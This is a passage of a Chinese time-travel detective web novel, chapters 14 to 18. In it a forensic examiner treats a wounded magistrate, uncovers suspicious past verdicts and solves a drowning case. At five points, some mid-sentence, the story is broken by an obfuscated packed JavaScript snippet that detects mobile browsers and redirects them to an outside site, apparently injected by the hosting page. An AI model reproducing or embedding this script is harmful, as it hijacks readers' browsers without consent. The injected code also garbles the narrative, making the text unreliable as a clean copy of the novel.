“叔叔,喝口热茶。”年轻侄子捧着一碗热汤,“您先去里面歇歇吧,我在这儿等着,不就是一个外乡人么。” 孙禄接过碗,轻啄了一口,不咸不淡地教训道:“你知道什么?这位可是京城来的知县大人,和那位不一样。” “管他哪里来的,到了咱们古羊县的地界,是龙也得趴着。”侄子语气里带着不屑。 也不怪他傲气,他们孙家在这里守了上百年,什么样的官没见过,到最后又怎么样呢?孙家成了这里最大的人户! 孙禄笑笑,没反驳他的话,“面子上的事,还是要做做的,不能让人觉得咱们古羊县不懂事。” 话里话外,也是将古羊县当做自己家的了。 马蹄声响起,两人循声望去,一人一马踏着风赶来了。 14. 第 14 章 见此情形,程青秀眉一紧,“先别站着了,跟我来。” 来到后院,刚好这两天收拾出一间空房,“这间屋子原来是程庆住的,这两天我打扫了一下勉强可以用,还好床还留着,你先躺上去。” 说着程青拿着烛台,在屋里多点了几根蜡烛,屋子里一下就亮堂了。 “这间房的窗户都是对着院子里的,不用担心外面会看到。”程青解释了一下,“我先看一下你的伤口,你忍着点。” 一路走来,谢芳衡一声不吭,听见程青的话,抿着唇点点头。 程青用火烧了烧剪刀,剪开衣服一角,露出伤口。 箭支几乎垂直扎进皮肤里,加上一路颠簸,伤口逐渐撕裂变大,鲜血顺着伤口处止不住地往外流。 “中箭到现在大概多久了?还记得在哪里中箭的么?”程青一边小心剪开周围的布料,一边随口问道。 手指翻飞,无意间触碰到他的伤口,谢芳衡身体一颤,闭上眼睛,镇定道:“在距县城二里地的山脚下中的箭,到现在大约半个时辰。” 神志清醒,伤口也没有发黑的迹象,程青松了一口气:“还好,目前看来箭上没有毒。” “现在最重要的就是把箭拔了,然后止血包扎,别的我还能找到一些,不过我这里没有麻药,你能忍住么?” 实验室里放了一些急救的用品,但是没有麻药,即使有,她也不敢随便给他麻醉。 程青考虑到目前的情况,“还是我现在去叫一个大夫过来?我小心点,应该不会被人察觉。” “不用了,我可以忍得住。”谢芳衡咬了咬牙,“我受伤的事件不能传出去。” 程青了然,“行,那你在这躺着,我去准备一下。” 回到实验室里,将能用到的东西都放在箱子里。法医实验室里是没有这些的,不过她们大楼里有紧急医务室,她记得里面配了一些药品用具。 半盏茶的功夫,程青就回来了。 床上谢芳衡的脸色依旧苍白,比起她离开时,多了一些冷汗,身体有些微微颤抖。 程青摸了摸他的脉搏,心跳有些快,可能是失血的缘故。 程青将自己屋里的碳炉端了过来,屋里的温度稍稍有些上升。 “谢大人?”程青看他闭着眼,叫了一声。 “恩?”谢芳衡嘴唇动了动。 “你有没有看见箭头上有没有倒钩?是什么样的?”问清楚箭头的形状,也方便程青评估伤口里面的情况。 “夜里看不清,似乎是有倒钩。”谢芳衡皱着眉。 果然,一会儿拔完箭,出血量还会增大,程青看了一眼自己的箱子,有些担心。 抱了一床干净的被子准备着,程青走到床边,提醒一声:“谢大人,冒犯了。” 说完,将他身上的衣服脱下,白色的里衣已经被血色浸染,程青一边动手,一边观察着谢芳衡的状态。 不知道碰到了哪里,谢芳衡闷哼一声。 “抱歉,我轻一点。”程青嘴里抱歉,手上却不停,很快就将上衣脱尽。 温热的皮肤裸露在外,谢芳衡抖得更厉害了,程青用被子将他的上半身盖住,只露出伤口。 拆了一把新的刀片,消毒,程青深吸一口气,“谢大人,我开始了,你忍住。” 冰冷的刀片瞬间划破皮肤,温热的鲜血流出来,程青面色不改,一点点顺着箭头的方向向下…… 触碰到箭头时,程青手一顿,小心分离开周围的组织,还好只是皮肉伤。 程青松了一口,没有伤到内脏。 看了眼谢芳衡,他紧闭着眼睛,死死咬着牙,就连鬓角的发丝都被冷汗浸湿粘在脸颊上,可即便是这样,从始至终,他也没有移动身体。 是个狼灭。 “大人,我数三声就拔箭,一,二,” 不等数到三,程青眼疾手快拔除剩下的半截箭,然后迅速将消了毒的纱布堵在伤口处。 谢芳衡正要点头,一阵剧烈的撕扯痛在伤口处迸发,紧接着就感觉到一团柔软的布覆盖在痛处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438174|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “叮当”一声,他侧首望去,正是那根扎进他身体的箭头。 “好了么?” “还没有,你先别动,我把伤口处理一下,这样恢复的更快一些,有些疼,再忍一下。” 程青的声音从身上传来,谢芳衡此刻脑袋昏昏沉沉的,就看见烛光下女子面容清隽,神色专注。 刺痛的拉扯感很快就让他清醒过来,谢芳衡的身体忍不住地颤抖。 程青顾不上安抚他,迅速地将伤口缝合好,将止血药敷在伤口处。 “好了。”程青松了一口气, 这还是她第一次缝合活人,虽然比不上临床医生,但是比起古代的大夫应该好一些。 谢芳衡也松了一口气,虽然伤口还是一抽一抽的疼,但是知道箭头被拔除之后,心里上也觉得好多了,想着他就要坐起来。 “唉!别动!”程青连忙按住他,“还没有包扎。” 谢芳衡经过了一场没有麻醉的外伤手术,现在哪里还有力气,高高大大的一个人,程青一推就倒在了床上。 将碳炉挪近点,程青将纱布一圈一圈地缠绕在他的腰部。 包扎过程中,程青不可避免地低下腰环抱住谢芳衡,后者只觉得什么东西顺着他的脸颊滑进了他的脖颈,痒痒的。 打个蝴蝶结,结束! 程青直起腰,伸手一摸,棉被下已经被汗湿,将被子挪了挪,盖住他精瘦的上身。 “伤口处理得差不多了,不过要紧的是术后的这段时间。今夜我会守在这里,以防你半夜高热,你若是觉得哪里觉得不舒服,要尽快说。” 毕竟不是无菌环境,伤口缝合处肯定会有炎症,这里没有机器,只能靠人守着,还好现在是冬天,要是夏天,更麻烦。 箱子里有消炎药,不过是抗生素一类,她不确定这些对他的身体会不会有影响,但若是他炎症很严重的话,该吃还是得吃。 谢芳衡经历一场大战,已经筋疲力尽,撑着听完程青的话,虚弱地点点头,陷入了沉睡。 15. 第 15 章 夜深人静,偶有更夫敲锣,惹起几声犬吠。 屋内烛光摇晃,碳炉内木炭静静地燃着,一点火花溅出碳炉。 程青起身将窗户稍稍打开一丝缝隙,回身走到谢芳衡床边。 发色如墨,面色苍白,一双俊眉因疼痛微微皱起,程青伸手探了探,没有发烧,幸好。 看来他的身体素质不错,像这样的皮肉伤应该很快就能恢复好。 在这闲着也是没事,要照看谢芳衡,她也不能回实验室,只好摸出县衙的卷宗,细细看着。 这是她从书吏那借来的,本来是想学学这个时代的验尸流程,免得以后闹笑话,没想到看到了不得了的东西。 古羊县并不大,人口也只有十余万,但发生过的命案却不在少数。单是去年一年,非意外死亡的人命案就有四十六起,平均下来每个月至少有三起。其中谋杀案居然有十三起,也就是说每个月县衙都要处理一起谋杀案,这样高强度的破案,县衙居然没有积案,不仅全部破案,甚至还非常迅速。 程青翻过一页,轻啧了一声,这样的情况要不就是前任知县非常善于刑侦破案,要不就是有人在草菅人命,考虑到自己被冤枉入狱,程青觉得是后者。 “咦?”程青看到某处眼神一凝, 长盛三十一年七月,官府接到报案,在青牛村里附近的山上捡到一个头颅,头颅已经白骨化,官府找遍了附近,没有找到尸首的其它部分,最后经仵作验证,这个头颅的主人已经死了有两年了,书吏在翻过失踪人口的记录后,草草地将其认为是当地的一个农户,就此结案。 白骨认尸?家属如何验证?程青心有疑惑,按下不表,接着往下看。 又有长盛二十九年,古羊县城东的大善人一家被杀,家中财物被盗取一空,官府在探查后,将其归咎于仇杀?原因竟是那户人家在数月前与死者一家发生口角,案发后,官府又在其家中发现失窃的首饰,最终判了那户人家谋杀罪。 只有几句模棱两可的证词和一件来历不明的物证就结案了?还有那位大善人的家产可是到现在也没找到… 凡此种种,不计其数。官府看似尽忠职守,但大多数案子都经不起推敲,每到案件进入僵持时,总是会出现一个非常重要且指向性十分明确的物证或人证。 太巧了,巧得就像是被人安排好了的。 程青手指轻轻敲击的桌案,昏暗的烛光下她的眼神变得幽静晦涩。 最先想到的不是官府里的那些衙役,程青最先想到的是那个死板又固执的老仵作。这些案子大多是都是由他验尸,他真的认可官府所谓的真相么?还是说他也与某些人一起同流合污了? 紧接着又想到许岩,他每次和自己说话时甚至都不敢直视自己,但只要谈到验尸、破案相关的事情,他就似乎有用不完的热情与精力,一看就是被保护的很好的样子。若老仵作真是个道貌岸然的伪君子,那么他的演技也太好了,不仅骗过了外人,连自己朝夕相处的徒弟也瞒过了。 唉,多想无益,现在最要紧的还是破了眼前的案子,这些过去的疑案,等自己正式上任后再一点点细究吧。更何况,这些都是被盖棺定论的案子了,若真是要旧案重启,恐怕也会有不少阻碍,不知道…程青看向床上的男人,不知道眼前的这位谢大人能不能与她站在一条边上。 烛花闪烁,蜡烛快要燃尽了,程青重新点上,昏暗的一角再次亮堂起来。 夜色散去,天光乍现。 街上游走叫卖的摊贩们早早地进了城,大街小巷地叫喊着。 程青从桌上一堆文书中抬起头,面色茫然,双目通红,忍着困意打了个哈欠,眼泪顺着眼角滑落。 “咕~~”一夜劳碌,五脏庙及时发出抗议,程青揉了揉肚子,起身。 谢芳衡还在睡着,脸色比起昨夜多了一丝血色,看起来问题不大了,又添了一些碳,收拾好后程青锁好门,出去找吃的了。 太阳还未升起,街上雾蒙蒙一片,街上行人脚步匆匆,看不出神情。 程青也没有走太远,就在门前街上的一个卖糕点的摊位上停了下来。 “小娘子,可要买些糕点?我这些糕点都是今日现做的,新鲜热乎着呢!你瞧。” 那摊贩掀开盖布,底下的笼屉里一层一层的装着温热的糕点。 程青看了一眼,笼屉下是一个小小的炉灶,里面烧着碳,小贩就这样挑着两个炉灶边走边叫喊,既不耽误叫卖,也不会叫糕点在寒风中失去了温度。 “都是些什么糕点?怎么买的?”程青有些馋了。 小贩见程青有意要买,介绍得更卖力了,“这第一层是用今年刚摘的柿子做的柿糕,其中加了糯米、枣泥,捣烂蒸熟后又放了各色的果仁,最后浇上花蜜,吃起来香糯可口,不过这价格就要贵一些,五文钱一个。” 柿糕做成了柿子的模样,香甜的花蜜点缀后看起来晶莹剔透,程青有些想吃。 “底下这个是栗子糕,用的是山上采的野板栗,捣烂后和蜜水搅拌蒸熟,粉粉糯糯的,最适合你这样的小娘子吃了,这个一个才三文钱。” “再往下是山楂糕、花糕、豆糕,都是些时新的糕点,过了这个季节可不容易吃到了。” 程青看得眼花缭乱,每个都想尝尝,“大叔,你这哪个卖的最好啊?” 小贩憨憨一笑,“卖的最好的就是柿糕和栗子糕,今年天气冷,下霜早,柿子和栗子都比往年的好吃,做出来的糕点也买的人多。” “行,给我每样来两个。” “唉,好嘞,小娘子可还要些茶汤?搭配着糕点吃,清爽解腻。”小贩大大方方的,也不否认自己的甜点吃得腻。 程青一想也是,都放了蜜,大清早吃甜的慌,“有什么茶汤?” “看你怎么吃?我这里有简单的叶子茶,一文钱一大碗,也有茶粉冲泡加了羊奶的,还能放花蜜、果干。” 程青走到另一个炉灶上看,除了茶汤还有一些米粥。 “给我来两碗米粥吧,茶汤就不要了。” 家里还有程老爹留的茶叶,就不花钱买了,省一点是一点。两碗粥一碗自己吃,一碗留着给谢芳衡醒了吃,之前吃他一顿,这次先还他一点。 小贩包好糕点,“小娘子,你要是住这附近,你告诉我地方,一会儿我来收碗。” “不了,我拿碗过来盛。” 家里还住着一个见不得人的贵客,程青小心为上。 回去的时候,谢芳衡还没醒,程青看着他的睡颜,叹气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451272|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “唉,今日衙门里还不知怎么鸡飞狗跳呢。” 另一边,阿满已经出发去山里找自家大人的踪迹。 吃着早饭呢,赵丘上了门。 “赵大哥,早啊,吃了么?”程青面色自然,嘴巴里鼓鼓囊囊的喝着粥。 赵丘一身寒露,他一大早从家里赶到县衙,又从县衙跑到她这里,“早,来前在街上吃了点。” 程青给他倒了一杯热水,“有什么事么?不急的话,喝点热的,暖暖身子,我先吃个早饭。” 赵丘扫了一眼桌上,也没推辞,端起碗猛喝了一口,舒爽地一叹,“还是女儿贴心啊。” “怎么?县衙里没人烧热水么?”程青看他一身皂服,猜他先去了县衙。 赵丘从怀里掏出一小包果干丢到桌上,“村里人送的,家里没人吃,留给你了。” 实则是他家里也没有别人了,想着程青估摸着又忙了一夜,干脆带过来给她吃。 “多谢赵大哥!”程青甜甜一笑,赵丘看着程青高兴的样子,眼角也流露出一丝淡淡的笑意。 “今日知县大人休假,昨日寻田的事还没结束,县丞大人带了人接着去寻田了,现在衙门里没什么人,就剩一个伙夫上街采买,没来得及烧水喝。” 赵丘解释,程青听见知县休假,手一顿,状若无事地问:“大人休假了?” “恩,大人身边的阿满一大早去县衙告的假,我想着也没什么事,就过来问问你这边的事怎么样了?” 程青低头拆开纸包,里面是炒熟的板栗,剥开一个丢进嘴里,粉粉糯糯的,虽然不如买的栗子糕甜,但是比起栗子糕甜点刚好,就是皮有些难剥。 一边和板栗斗争,程青一边回答:“还差一些,大概唔,后天吧,后天应该能出结果。” 程青估算着手上的样本,其实也用不了这么多时间,主要是担心谢芳衡在她这里需要照看,可能会耽误一些时间。 “后日…应该差不多。”赵丘点点头。 “怎么了?有谁催促么?”她不记得有谁在催这个案子啊。更何况她是和许仵作一起并列执行的,就算她这边不出结果,衙门也是照常破案的。 赵丘看她剥得实在费劲,干脆拿过一些帮着她剥,“往日衙门破案都是在几日内破案,大家都习惯了,这次过了两三日都没什么动静,有些好奇。” 几日内破案?程青咋舌,就是她所在的市局,高人辈出,也不敢说自己每个案子都能在几日内破案,这里的人居然不仅能做到,还习以为常,真是大开眼界了。 “赵大哥,过去的那些案子真的就结了么?” 赵丘头也不抬,“什么真的假的,案子结了就是结了。” “如果我没有自己翻案的话,是不是我的案子也会那样结了?”程青问。 真相大白也是结案,草菅人命也是结案,程青不相信能冒险救她的赵丘会是一个冷漠无情的人。 赵丘手一顿,然后继续剥,神色如常,“大人怎么说你就怎么做,多的你就不要掺和进去了。” “可——”程青正要反驳, “哐当”一声,从内院响起。 赵丘手上动作一停,放下板栗,手扶上腰间的刀柄,神色冷峻地看向内院。 16. 向家村 “吱呀”一声,似乎有什么人出来了。 赵丘正要起身,程青心一跳,拉住,“赵大哥,我忘记我房间的窗户好像没关好,我去看一下,是不是野猫进来了。” “真的么?”赵丘迟疑了一下,手依旧没放下。 程青笑道:“看你说的,难不成我还在家里藏了什么人?再说了这是县城里,也不会有歹人敢光天化日就闯进来的。” “我去去就回,你先坐一下。”程青说完,也不等赵丘回应,转身就进了后院。 人不在后院,房间的门也是关着的。 程青进了房间,见他已经醒了,“吓死我了,我还以为要被发现了。” “是赵丘来了?”谢芳衡斜靠在床头,见程青走了过来,问。 “恩,他来问问我检验河水的事,你这事,也要瞒着衙门里的人么?” “现在还不是说的时候,衙门里现在怎么样?” 见他唇角干裂,程青倒了一杯温水给他,“阿满替你告了假,孙县丞带着人去寻田了。” 赵丘还在外面坐着,程青也不好耽搁太久,“我先出去打发走他,你想好接下来怎么做,我这边人来人往的,一两日可以给你住着,时间长了一定会被发现。” 谢芳衡点点头,微笑着说道:“我心里有数,这次多谢你了。” “应该的应该的。”程青没好意思说,自己之后可能还要麻烦他呢。 面色如常地回到外间,一进门,程青佯装抱怨:“赵大哥,果真是只野猫,打翻了脸盆,弄了一地的水,这下我可要好好打扫了。” “冬日里野猫也怕冷,常往人家里钻,你夜里关好窗户。” 百姓家里烧炭暖和,野猫怕冷进屋也是常事,程青一个小姑娘一时疏忽没关好门窗也不稀奇,赵丘听完放下了戒心。 “行,你这边没事我就放心了,那你忙吧,我先走了。” “哎!那你慢走,我就不送了。”程青笑着告别。 等到赵丘走了,关上门,带着粥进内院了。 谢芳衡已经可以起身了,站在窗户下梳洗,一抬头就见程青一身杏色长裙,拎着食盒徐徐而来。 不知从何处吹来一阵风,掀起了她的发丝,身后的青色发带随之飞扬,少女矗立在风中,脚步坚定,看不清神色。 谢芳衡眨了眨眼,压下心中异样。 “投我以木瓜,报之以琼琚,”程青端出饭食,“虽然不是什么稀罕的东西,不过对于你现在吃点粥刚刚好。” 这句话出自《诗经》,原指朋友间相互赠答,礼尚往来,可渐渐地,就演化成男女之间情意相通。谢芳衡熟读诗书,听到上一句,自然而然脑海里蹦出“匪报也,永以为好也。”这一句。 “咳咳,”谢芳衡下意识咳了一下,带动着伤口处微微撕扯,皱眉。 “怎么了?” “没事,风吹了一下。”谢芳衡伸手合上窗户,回到桌前。 “你不是去寻田了么?怎么会受伤?可以说说么?”程青坐下来,满脸的好奇。 总归程青也知道了,谢芳衡也就没有瞒她,“县里的粮食收成被人做了手脚,我欲着手调查,却动了某些人的利益,他们自然不会放过我。” 本来他以为对方最多警告他一下,没想到对方居然直接下死手,欲除他而后快。 “我听阿满说,你也是有戒备的,怎么还会中了他们的招?”程青托着下巴,眼睛一眨一眨地看着他。 在这样的注视下,谢芳衡依旧神色淡然地喝着粥,“对方准备了弓箭手,一时不防。” “你中箭都是夜里了,对方还能射中你,看来技术了得,是个行家。”程青感慨,“那你下一步怎么做?打回去?” 这里是对方的大本营,谢芳衡一、两个人怎么斗得过对方人多势众? “打肯定要打回去的,只是用什么名头打回去。”谢芳衡放下碗筷,矜持地擦了擦嘴,神色倨傲。 …… 没过多久,程青就知道了谢芳衡的打算。 这日,她正要带着检验结果回县衙报道,刚进门就见县衙里忙成了一团。随手拉住一个衙役,“大哥,县衙今日是怎么了?” 那衙役抬头见是一个女孩子,刚要呵斥,想起来对方是谢大人招用的仵作,脸色好了一些,还是快言快语道:“晌午城外驻扎的郭指挥使说要来本县,衙门里正准备着呢。” 郭指挥使? 程青依稀记得这是驻扎在石鼓县的厢军将领,又称之为马步军都指挥使。本朝除去禁军外,又在各地方配备了厢军和乡兵,都指挥使就是厢军内将领的称呼。都指挥使又分为马军都指挥使和步军都指挥使,分管不同的队伍。 石鼓县是青州的附郭县,青州厢军也大多驻扎在那里,只是青州并不是重要的位置,其下的厢军人数也比不上相邻的沧州,一个马步军都指挥使也就足够了。 只是古羊县并不像石鼓县那样地势平坦,反而山路崎岖,厢军怎么会想到来这里练兵? 交还了卷宗,程青得知谢芳衡也不在县衙,就连书吏也跟着他不知道去哪了。 左右无事,程青干脆在坐在吏房里翻阅仵作验尸的尸格记录。 时间一点点流逝,太阳慢慢滑向地平线,整天天空印染出绚丽的彩霞。 安静的吏房逐渐多了一些人,嘈杂的人声将程青唤醒。 “书吏!你回来了?”程青惊喜,她正有些文书找不到呢。 书吏风尘仆仆,寒冷的冬日里竟然出了一头汗,一进门就端起茶杯猛灌了一口,等到终于平复下来后,才看向程青,“程姑娘,你怎么在这?” 程青手指点点桌上的卷宗,“我来还卷宗,顺便看看往年的一些记录。” “对了,你们今天去哪了?怎么去了这么久,不是说都指挥使要来县衙门?” 听到都指挥使四个字,书吏脸色一变,回头看看四周没人后,才走到程青身边小声道:“谢大人带着都指挥使去剿匪了。” “剿匪?” “嘘,小点声!”老书吏缩着脖子,好像想起了什么可怕的东西。 “古羊县哪里的土匪?” 说句难听的话,土匪进了古羊县的村子里,都要叹着气空手而归。 “教的不是土匪,而是民匪。”老书吏直起腰板,高深莫测道。 程青更听不懂了,扯着书吏的袖子一阵晃,“哎呀,好书吏,你就告诉我吧。” 老书吏嘚瑟够了,才慢悠悠道:“你可知谢大人前两日寻田受伤了?” 程青眨眨眼,“受伤了?没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463821|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说啊。” “我们也是今天才知道的,唉,那日谢大人孤身去寻田我就不同意,这荒郊野外的,怎么能不带上随从?果然,回来的时候,被藏在山里的民匪给伤了。” “那今日可是将那些民匪都抓回来了?” “抓是都抓了,可是你猜怎么着?”老书吏眼里闪过八卦的精光,“那民匪是那青雾庄养的,不仅如此,大人还查出来青雾庄这些年藏匿人口,强抢土地,这次就是因为大人捅破了这件事,所以那庄头才铤而走险要害了大人。” “可那青雾庄我怎么听说是那位的家产?”程青指了指吏房最里面那件屋子。 老书吏撇撇嘴,“是不是现在也没用了,谋害朝廷命官可是重罪,更不要说还贪污受贿、私吞税银,你不知道,我去核查账册的时候,那青雾庄的库房里堆满了粮食,私库金银珠宝更是数不胜数。” “这次,孙县丞可是踢到铁板喽。”老书吏摇摇头,唏嘘。 孙县丞一家在古羊县作威作福上百年,朝代变更都熬了下来,没想到在一个小小的知县手上翻了船。 想到谢芳衡和都指挥使说笑的样子,老书吏心里一凛,这位谢大人也不是无名之辈,以后还是更恭敬一些吧。 程青听完,心里只有一个想法,谢芳衡可以啊,直接派兵把孙县丞一家连根拔起,根本不给他时间周旋。 “那大人回来了么?” “这会儿应该还在和都指挥使应酬吧。”老书吏年纪大了,这样高强度地忙了一天早就受不了了,坐到椅子上就不想动弹了。 程青到了书房,里面只有谢芳衡一个人。 “咚咚。” 谢芳衡正在写东西,看见程青过来,直接问:“你怎么来了?” “大人忘了么?我身上还有一个案子呢。”程青也不含糊,开门见山道:“溺水案死者的入水地点找到了。” “我把衙役们带回来的水样和死者体内的水样作对比,发现此处的水样中硅藻的种类含量和死者体内的较为接近。” 程青拿出报告,上面记录了每个地点的水样信息,为了方便阅读,尽量用比较浅显的文字标注了。 谢芳衡拿到小册子,第一眼没有看那些数值,而是被纸面上奇怪的分隔线吸引了,虽然很奇怪,但是这种记录方式却让人眼前一亮,顷刻间就能清楚地看到各项信息。 “这是什么记录方式?” 程青瞥了一眼,随口道:“哦,那是表格,这样记录条例信息的时候,比较方便。” 表格?又是一个奇怪的词。 谢芳衡眸色深了一些,继续往下看。上面写的那些藻类他都没听过,甚至那些奇怪的符号他也看不懂,不过不影响他对比出某一处的水样信息和死者体内的相符。 “向家村?” “是,就是向家村,可我翻阅了最近的报案记录,只有前几日来老汉家丢了孙子,其余并没有人报案。”程青沉声道。 没有人报案也不意味着没人失踪,古代人口管理虽严,但也没有那么严。 “没人报案说明死者要么孤身一人,要不就是他的身份见不得光。”谢芳衡也是一样的想法,“向家村河段附近都是百姓,死者若是在那里溺水,一定会有人看见。” “走,去向家村!” 18. 结案 “是的,每年村里的人都会到那里采莲藕,打打牙祭。”向老伯眯眼,确认。 “那若是夏季,这里的河水岂不是汹涌异常?还会有人采藕?”这里地势较高,过大的落差会让河水流速变大,即使冲进湖里,也会形成暗流,这个时候采藕的话,很大可能会被卷入水下。 “村里采藕的都是有经验的,他们会看湖水,若是危险,就不会下水了。” “可我听说,村里有人采藕到现在还没回来?”程青还没有忘记上次来县衙的那个老汉。 向老伯“哦”了一声,“你说的是向老五?他家的石头确实是不见了,可那日下水的人没一个看见石头,没有证据,这下湖又危险,谁愿意冒险下水捞呢,唉!” 每个男人都是家里的顶梁柱,为了自家人冒点险还行,若为了别人丢了命,就不值当了。 程青明白村民的顾虑,虽然也怀疑石头是落了水,但一时也没有好的办法,只能搁置了。 顺着小道往前走了几步,忽然一处缺口吸引了程青的注意, “不用过来。”程青摆摆手,示意大家不用跟过来。 缺口处的小道十分狭窄,只能一人通过,程青小心走过去。 缺口处一片狼藉,几个凌乱的脚印,显然是有人在这里剧烈挣扎了一下,峭壁上的草植被人扯断垂在地面上,地上也有松散的土块。 程青默默一算,根据脚印的长度,确实和姚大的身高对的上。 “怎么样?”谢芳衡问。 “是姚大,失足落水,那里只能一人通过,应该没有第二人在现场。”程青拍拍手上的灰尘,脸上露出了可惜的神情。 若是没有走这条路,或许还不会出这样的意外。 在场众人听见程青的话,也都默默不语。 “向老伯,可否带人去通知姚大的家人,让他们去衙门认尸?” 死者身份、死因都弄清楚了,谢芳衡就让人跟着村民去找姚大的家人,起码先把姚大的尸首带回去。 …… 还没回到衙门,程青就听见班房里有人在谈论自己。 “你可没看见,这小程仵作就看了一眼,就站起身说,这是姚大落水的位置。” “真的?她怎么就知道是姚大?” “那我就不知道了,是不是真的,等姚大的家人来认识就知道了。” 程青进了门,说话的几个人一看见她,都笑眯眯地打招呼:“小程仵作,你回来了啊。” “你们怎么叫我程仵作?”程青笑笑,她怎么记得谢芳衡还没有正式录用她,说是要等程老爹的案子彻底结案,否则朝廷那里不好交代。 “我们都听说了,只要破了案,谢大人就招你做仵作。”几个小吏七嘴八舌地说道。 县衙里很少出现女子,还是这样一个有能力又招人稀罕的小姑娘,一想到每天和她一起当值,大伙心里都美滋滋的。 程青心里也高兴,总算是迈出了第一步,嘴上还是很谦逊,“大人还没和我说呢,等大人正式录用我了,以后还要靠各位大哥多多提携。” “打铁还需自身硬,靠小聪明也走不了长远,哼。”许松航从门外踏进来,径直从程青身边走过,面色阴冷的都能滴出水了。 许岩跟在他身后,对程青抱歉地笑笑。 直到他们走远,程青才皱眉,看向身边,“你们谁招惹他了?” 一个是知县新宠,一个是资深仵作,小吏们一个也得罪不起,打着哈哈散了。 傍晚,赵典吏过来递给程青一个腰牌,“以后你拿着这个,衙役们不会拦你。” 程青接过来,就是一个普通的木牌,上面雕写着“役”字。 “哎,多谢赵典吏了。”小心收好,这可是她进出现场的令牌!有了它,她也可以去翻看从前的卷宗了。 “还有,大人说,你现在住的地方不太方便,所以弄了个当值屋子,喏,就是那儿,往后你们的那些东西就放在县衙。”赵典吏一指,赫然就是原来县丞的书房。 程青一挑眉,“这给我一个人的?县丞不回来了?” “想什么呢?这是给本县所有的仵作的。”赵典吏翻了个白眼,“孙成吉这次是回不来了,你安心用着吧。” 赵典吏佝偻的腰有意识挺直,常年紧绷着的脸此刻也微微带了些笑容。孙成吉仿佛一座大山,数十年都压在他头顶上,如今一朝入狱,他浑身都觉得轻松多了。 尤其眼前这个知县大人的新宠,她还欠着自己一份人情,以后说不定还能用上,真是前无远虑,近也无忧啊。 “那感情好。”程青一乐,将腰牌挂在自己腰间,大摇大摆地走进班房,笑容明媚地冲着许松航:“许仵作,别来无恙啊。” “往后你我共事,多多担待啊。”说罢,大大方方地坐在许松航隔壁的桌案旁。 许松航深吸一口气,闭眼,睁开,嘴缝里憋出一句:“多多担待,程仵作。” 没想到真让她破了这个溺水案,看来这个小女娘还是有些功夫在身上的,就是这脾气,尖酸吊滑,他实在喜欢不起来! 眼见许松航的脸色都要绷不住了,程青也不逗他了,和许岩打了个招呼,就开始整理自己的桌案。 许岩看着程青收拾完就要出门,欲言又止。 “什么事?” “你这就走了?”不等大人过来再吩咐一些事么?大人开恩,给他们留了一间屋子,不说要感谢大人,怎么好在大人下值之前就自己先走呢? “不然呢?”程青抻了抻腰,理所当然道:“留在这也没什么事了,而且县衙也不包晚饭,我要回去买吃的,不然晚上那些小贩就要出城了。” 许岩有些羡慕,他也想早点回去,可是师傅的性格,肯定要等到大人下值的,师傅不走,他也不敢走… “别想那么多,事情办好了,大人不会计较这些细枝末节的。”谢芳衡都能面不改色地大半夜敲自己一个女孩家的家门,应该在这些小事上不会太在意的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493789|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我走了,许仵作,明儿见!”程青粲然一笑,出门就没了影。 许仵作们:“…” 忙活了好几天,程青直到今天才有了正常上下班的感觉,心里不自觉的轻松起来。 破案当然不是这么简单的,但是她只是一个仵作,验尸的活结束了,剩下来的就是衙役和书吏们的活了。这个时代相比现代,虽然仵作的话语权比较小,但是要做的事情也不多,基本上照着验尸就行,要是再摊上一个勤快负责的验尸官,基本上一两天就忙完了。 像她这样跟着一起跑案子的,都是少数了。 街上摊贩陆陆续续开始收拾东西了,古羊县小地方虽然没有什么宵禁,可到了晚上,城门一关,留在城里也不会多卖一些,反而还要掏一笔住宿费,不如早早收了摊回家。 “苗苗,你回来了?”李大娘正在小贩摊前做最后的砍价,一回头刚好看见程青,眼睛一亮,扔了菜帮子,鬼鬼祟祟地走上来,“你们衙门的那个案子破了啊?” 